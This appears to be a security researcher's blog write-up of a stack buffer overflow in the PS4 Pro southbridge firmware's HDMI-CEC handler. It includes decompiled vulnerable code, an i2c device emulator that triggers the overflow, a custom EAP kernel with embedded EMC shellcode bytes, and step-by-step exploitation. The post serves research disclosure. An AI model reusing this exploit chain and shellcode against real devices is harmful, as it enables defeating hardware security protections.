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PS4 Aux Hax 4: Belize via CEC

2019-09-19 14:10

This post describes another way to attain code execution on Aeolia (actually,the southbridge revision on PS4 Pro which was used in this case is named“Belize”).
This exploit differs from the previously documented method as it does not havethe prerequisite of gaining control of the APU. Additionally it is fairlygeneric and therefor workable on all currently released hardware and softwareversions of PS4.

From Aeolia to Belize

Previously, we have attained permanent code exec on the southbridge on theSAA-001 motherboard. This chip is marked as CXD90025G (referred to as Aeoliainternally) and constitutes the first production version. As mentioned inprevious posts in this series, there have been many revisions of the PS4, andit makes sense to assume more recent hardware includes more advanced securityfeatures. With the original Aeolia owned, it was possible to examine the EMCand EAP firmware and look for vulnerabilities which would allow a more directattack on the successive hardware revisions. Specifically, the target was thesouthbridge on the most recent (at the time) PS4 Pro NVB-003 motherboard:marked CXD90046GG and named Belize. From reversing the Belize driver in the x86FreeBSD kernel, it could be seen that the device was functionally mostlyidentical to Aeolia. For our purposes, “Aeolia” and “Belize” are interchangeable,so keep that in mind while reading this post.

Sidenote: NVB-003 contains a cost-reduced version of syscon, marked as A05-C0L2.This chip can be pwnedexactly the same as the original version,so there will be no further post about that.

Common attack vectors

To bridge the gap between Aeolia and Belize, it is helpful to understand theexecution flow on Aeolia, up to the point the “Rest Mode” kernel runs:While the EMC IPL and EAP KBL are both encrypted with keysets unique to eachsouthbridge hardware revision and stored in sflash, the EAP FreeBSD kernel isstored on the hard drive and there exists only one version - meaning the key isshared between all hardware revisions. Since we can decrypt the entire bootchain used by the original Aeolia, we can recover the static keys used toencrypt and (HMAC) sign the FreeBSD kernel. By doing so and replacing the EAPkernel partition of the HDD, we easily gain EAP kernel code exec on any Aeoliaor Belize southbridge revision.

While this is already quite nice, the goal is to get code exec on EMC. The EAPruns entirely from external DDR3 memory, while EMC executes only from internalSRAM. However, experimentation with Aeolia showed that EMC is actually capableof executing instructions out of the DDR3 as well. This massively simplifiesgeneric exploitation of EMC since the address range of DDR3 is well known, andgiven EAP code exec, the content can be arbitrarily controlled. All that’sneeded is a way to make EMC start executing instructions from DDR3 - the restis simple.

To fulfill the wish of owning EMC without needing the APU to be compromised,other interactions between EMC firmware and external interfaces were checkedfor bugs. Surprisingly, a bug straight out of the 90s fell out during thisinvestigation: a stack buffer overflow, with return address in range, and fullycontrolled contents. Even more amusingly, the bug is in the HDMI-CEC code,which makes this the first “real” CEC exploit I’m aware of, despite the numerouspublications which exist for some years already… (OK, technically the bugconcerns CEC-over-i2c, but still!).

The bug

The vulnerability, as seen in the Aeolia firmware, is as follows:

int I2cRead(void *iface, unsigned int addr, u8 reg, void *dst, int len);

int getRecvMsg(cec_task_t *a1, void *a2) {
return I2cRead(a1->i2c_iface, 0x7Au, 0x62u, a2, 1);

int cec_recv_msg(cec_task_t *a1, u8 *msg, unsigned int len) {
unsigned int i; // r4
int v7; // r0
unsigned int j; // r4
int dst; // [sp+4h] [bp-24h]

v7 = 0;
for (i = 0; i < len; i = (u8)(i + 1)) {
v7 = I2cRead(a1->i2c_iface, 0x7Au, 0x61u, &dst, 1);
if (v7) {
print_nop("Cec Recv Err:%8lxn", v7);
return v7;
msg[i] = dst;
if (g_cec_log == 1) {
ucmd_printf("[CEC] R:");
for (j = 0; j < len; j = (u8)(j + 1)) {
ucmd_printf("%2x", msg[j]);
return v7;

int doRecvInterruptEvent(cec_task_t *a1, int state) {
int v4; // r0
int v5; // r1
const char *v6; // r0
int mode; // r5
int result; // r0
int v9; // r0
u8 msg[20]; // [sp+4h] [bp-34h]
u8 len; // [sp+18h] [bp-20h]
u8 total_msg_len; // [sp+1Ch] [bp-1Ch]

bzero(msg, 0x14u);
len = 0;
total_msg_len = 0;
v4 = cec_read_errcode(a1);
v5 = v4;
if (v4 && v4 != 15) {
v6 = "_doRecvInterruptEvent, err:%2xn";
} else {
switch (state) {
case 1:
mode = 2;
case 2:
case 3:
mode = 1;
case 4:
case 5:
mode = 0;
return -1;
v5 = getRecvMsg(a1, &total_msg_len);
if (v5 || !total_msg_len) {
v6 = "_getRecvMsg, Total Msg Len 0 or Err: 0x%8lxn";
} else {
while (1) {
print_nop("_getRecvMsg, Total Msg Len : 0x%2xn", total_msg_len);
v5 = I2cRead(a1->i2c_iface, 0x7Au, 0x63u, &len, 1);
if (v5)
goto LABEL_14;
if (total_msg_len < (unsigned int)len)
print_nop("_getRecvMsg, Msg Len : 0x%2xn", len);
// XXX oops! length is up to 0xff here (both `total_msg_len` and `len`
// are controlled). This will write off the end of `u8 msg[0x14]` with
// data read directly from i2c.
v5 = cec_recv_msg(a1, msg, len);
if (v5)
goto LABEL_14;
if (len && len <= 0x11u) {
v9 = CecAn_analyzeMessage(a1->field_14, mode, msg, len);
if (v9 == 1) {
sendCecMsgReceiveEventNotify(a1, msg, len);
} else if (v9 == 5) {
cec_event_flg_set(a1, 1024);
} else {
print_nop("CecCommEvent_InterruptReceiveMsg, len:0x%2xn", len);
result = getRecvMsg(a1, &total_msg_len);
if (result) {
v5 = result;
v6 = "_getRecvMsg, Reg Err : 0x%8lxn";
goto LABEL_18;
if (!total_msg_len)
return result;
v5 = len;
v6 = "_getRecvMsg, Err, msg_len : 0x%2xn";
print_nop(v6, v5);
return -1;
while this seems nice and easy, reaching the code is a bit tricky:

  1. HDMI must be active, with CEC enabled.
  2. The code runs only in response to some interrupt being generated from theHDMI encoder.
  3. Boards with Belize have a different model of HDMI encoder than the originalAeolia. This could result in the bug being fixed accidentally, the code lookingcompletely different, or even removed altogether.

Reaching the bug

The first condition required for the code path to be reachable is that HDMI-CECis enabled and active. While it is possible to force this condition using icccommands from EAP to EMC, it is much simpler (in that it doesn’t requirewriting any code) to just boot the APU and ensure [Enable HDMI Device Link]is enabled in the settings. The APU needs to be cycled in any case in order tostart Rest Mode - which will execute our custom EAP kernel.

Dealing with i2c

The second and third issues were resolved in the process of creating a way totalk with the CEC interface of Belize.

The original idea was to man-in-the-middle the i2c by corrupting the addressbits as they were shifted out of Belize (which would cause the HDMI encoder tonot recognize it was the targeted device), and then handle the data transferwith my own device. However this wound up not working. As it turns out, the i2cinterface of EMC is built to detect such contention and will immediately stopdriving the bus. This wasn’t completely unexpected - to workaround it, I justfound the power switch used by syscon to control the HDMI encoder and forcablydisable it when I’d like to take over the bus. This is not as clean - itrequires rebooting the HDMI encoder and Belize to recover sanity - but hey, itworks.

As mentioned, the vulnerable code is run in response to a certain interruptevent. By probing i2c and pulling down various nearby pins of the HDMI encoder,it was easy to determine that there is a dedicated trace for the generalinterrupt event. When responding to this event, the EMC firmware will read someregisters of the HDMI encoder in order to discover the pending interrupts.Eventually, the buggy code will be invoked if the proper interrupt is pending(it’s named HDMI_INTRID_CECRX).

By comparing logic analyzer traces of the HDMI encoder used by original Aeolia(Panasonic MN86471A) to that used by Belize (Panasonic MN864729), it could beseen that the register layout had changed slightly, but it was a simple matterto determine the registers and values required to mount the attack in theBelize/MN864729 environment. A quick test to try crashing EMC via too-long CECbuffer worked, so issue #3 was taken care of as well.

Hardware setup

For Belize, the setup looks like:


On the device simulating the HDMI encoder, the following code is run. This isa simple state machine which serves only to redirect EMC’s program counter to0x61616161. This address was chosen just in case there is some unknownmisalignment going on - no matter which offset the return address is read from,it will always point to 0x61616161 (which is in EMC’s view of DDR3).

struct DevEmu {
void StartCondition();
u8 Read(u8 addr);
void Write(u8 addr, u8 val);
u8 dev10_regf2{};
u8 irq_status{};
u8 irq_mask{};
u8 msg_buf[0xfe]{};
u8 msg_pos{};
u8 msg_len{};
u8 reg{};
size_t pos{};
std::function<void(bool)> set_irq;

void DevEmu::StartCondition() {
pos = 0;

// Note: this only simulates MN864729
u8 DevEmu::Read(u8 addr) {
size_t pos_ = pos++;
switch (addr) {
case 0x10:
// irq stuff
switch (reg) {
case 0xf2: return dev10_regf2;
case 0xf4: return 0xa0;
// hdmi irq 18 is 0x10
case 0xf7: return irq_status;
case 0xfa: return 0x0f;
case 0xfc: return 0x50;
case 0xff: return irq_mask;
case 0x80:
// cec buffers
switch (reg) {
// rx fifo
case 0x61: {
u8 val = msg_buf[msg_pos];
if (pos_ == 0 && msg_pos < sizeof(msg_buf)) {
// ignore over-read generated by fpga
return val;
// total msg len
case 0x62: return msg_len - msg_pos;
// msg len
case 0x63: return msg_len - msg_pos;
// error code
case 0x69: return 0;
return 0;

void DevEmu::Write(u8 addr, u8 val) {
size_t pos_ = pos++;
if (pos_ == 0) {
reg = val;
switch (addr) {
case 0x10:
switch (reg) {
case 0xf2:
dev10_regf2 &= ~val;
case 0xf7:
irq_status &= ~val;
set_irq(irq_status & 0x10);

void CecHax::Enable(bool enable) {
if (enable) {
// Disable power to real HDMI encoder
// Enable our hardware
csrs.Write(i2c_enable, 1);
// Trigger IRQ to EMC
csrs.Write(irq_n, 0);
} else {
csrs.Write(irq_n, 1);
csrs.Write(i2c_enable, 0);

bool CecHax::HasError() {
CSRValue err;
csrs.Read(i2c_error, &err);
return err != 0;

void CecHax::Run() {
dev_emu.set_irq = [this](bool enable) {
csrs.Write(irq_n, enable ? 0 : 1);
dev_emu.dev10_regf2 = 0x62;
dev_emu.irq_status = 0b00010000;
dev_emu.irq_mask = 0b11010000;
dev_emu.msg_len = 0x60;

auto p = (u32 *)dev_emu.msg_buf;
for (size_t i = 0; i < dev_emu.msg_len / sizeof(u32); i++) {
*p++ = 0x61616160|1;

while (!HasError()) {
CSRValue val;
csrs.Read(i2c_event, &val);
if (val & kStart) {
csrs.Write(i2c_event_clr, 1);
if (val & kHolding) {
CSRValue addr;
csrs.Read(i2c_cur_addr, &addr);
bool is_read = addr & 1;
addr &= ~1;
if (is_read) {
// read - send byte
val = dev_emu.Read(addr);
csrs.Write(i2c_dout, val);
} else {
// write - recv byte
csrs.Read(i2c_din, &val);
dev_emu.Write(addr, val);
csrs.Write(i2c_event_clr, 1);
printf("%02x:%c.%x %02xn", addr, is_read ? 'r' : 'w',
dev_emu.pos, val);

The following code replaces the entire EAP kernel. The emc_shellcode sectionwill be loaded to the desired address (which EMC will return to) in DDR3 by theELF loader in EAP KBL. All the EAP code does is wait for EMC to execute thedumper shellcode, then repeatedly spews the result out of UART.

arm-none-eabi-gcc -std=gnu11 -nostdlib -T eap_kernel.ld -o eap_kernel eap_kernel.c
arm-none-eabi-strip --strip-unneeded eap_kernel
typedef unsigned char u8;
typedef unsigned int u32;
typedef volatile u32 vu32;
typedef u32 size_t;

// used by emc ucmd
#define EAP_UART0_BASE 0xBF240000
// uart1 is port x86 soc uses too
#define EAP_UART1_BASE 0xBF340000
#define EAP_DDR3_BASE 0xc0000000
#define EAP_SHARED_BUF (EAP_DDR3_BASE + 0x01000000)
#define EMC_DUMP_START 0x100000
#define EMC_DUMP_END 0x160000

static void uart_write_byte(u8 val) {
vu32 *dat = (vu32 *)(EAP_UART1_BASE + 0x00);
vu32 *status = (vu32 *)(EAP_UART1_BASE + 0x14);
while (!(*status & 0x40));
*dat = val;

static void uart_write_str(const char *str) {
while (*str) {

static void hexdump(const void *buf, size_t len) {
const u8 *p = buf;
const char *lut = "0123456789abcdef";
for (size_t i = 0; i < len; i++) {
if (i > 0 && (i & 0xf) == 0) {
u8 val = p[i];
uart_write_byte(lut[val >> 4]);
uart_write_byte(lut[val & 0xf]);

// EMC code
// EAP 0xc0000000 = 0x60000000 in EMC space
// Will be placed by elf loader (eap_kbl)
static const u8 dumper[] __attribute__((section("emc_shellcode"))) = {
0x5F, 0xF4, 0x80, 0x10, 0x40, 0xF2, 0x00, 0x01,
0xC6, 0xF2, 0x00, 0x11, 0x40, 0xF2, 0x00, 0x02,
0xC0, 0xF2, 0x16, 0x02, 0x03, 0x68, 0x0B, 0x60,
0x04, 0x30, 0x04, 0x31, 0x90, 0x42, 0xF9, 0xD1,
0x40, 0xF2, 0x00, 0x00, 0xC6, 0xF2, 0x00, 0x10,
0x4C, 0xF2, 0xDE, 0x01, 0xC1, 0xF2, 0x37, 0x31,
0x40, 0xF8, 0x04, 0x1C, 0xFE, 0xE7

// SCTLR &= ~(I|C|M)
static void disable_caches_and_mmu() {
asm volatile(
"mrc p15, 0, r6, c1, c0, 0;"
"bic r6, r6, #0x1000;"
"bic r6, r6, #4;"
"bic r6, r6, #1;"
"mcr p15, 0, r6, c1, c0, 0;"
: "r6"

// (old) gcc is really dumb, must define arm->thumb target like so
typedef void (*icc_watchdog_stop_wdt_t)();
static const icc_watchdog_stop_wdt_t icc_watchdog_stop_wdt =

void _start() {


vu32 *shared_buf = (vu32 *)EAP_SHARED_BUF;
vu32 *magic = &shared_buf[-1];
*magic = 0;
uart_write_str("EAP runningn");
while (*magic == 0);
for (size_t i = 0; i < 10000; i++) {
hexdump((void *)EAP_SHARED_BUF, EMC_DUMP_LEN);
while (1);

And the related linker script:

eap 0xc0100000 : {
emc 0x61616160 + 0x60000000 : {
/DISCARD/ : { *(*) }

So, the overall process is like:

  1. Tap onto CEC-related i2c and irq lines and HDMI encoder power switch
  2. Power up PS4 and enter Rest Mode
  3. Wait for “EAP running” message from custom EAP kernel
  4. Induce the CEC RX interrupt
  5. Feed data to EMC such that it causes a stack buffer overflow
  6. Wait for EMC to copy SRAM to DDR3
  7. Dump copied SRAM out of UART

Of course, this is really EMC code exec, so the dumping is just something to doafter the fact :)

Parting thoughts

This post outlines a way to dump EMC firmware and gain EMC code exec on anyhardware revision. While the real root keys (in fuses and ROM) of EMC versionsbesides the first are still unknown, they could yet be recovered with sidechannel attacks, if someone really wanted them. Since this method iscomparatively much more simple and more generic, it stands on its own as aninteresting exploit.

As was hinted at,the CXD90046GG version of EMC employs slightly better security practices. TheEMC ROM now wipes the SRAM space used as stack during initial key derivation,and some as-of-yet unknown method is used to unmap the ROM, mitigating it beingdumped simply by reading from address 0x00000000. Again, it is likely the keymaterial could still be recovered - if someone cares - but it’s interesting tosee that such changes made their way into hardware between revisions.

Source: cec-4sp/8102/golb/moc.wolfrev0liaf

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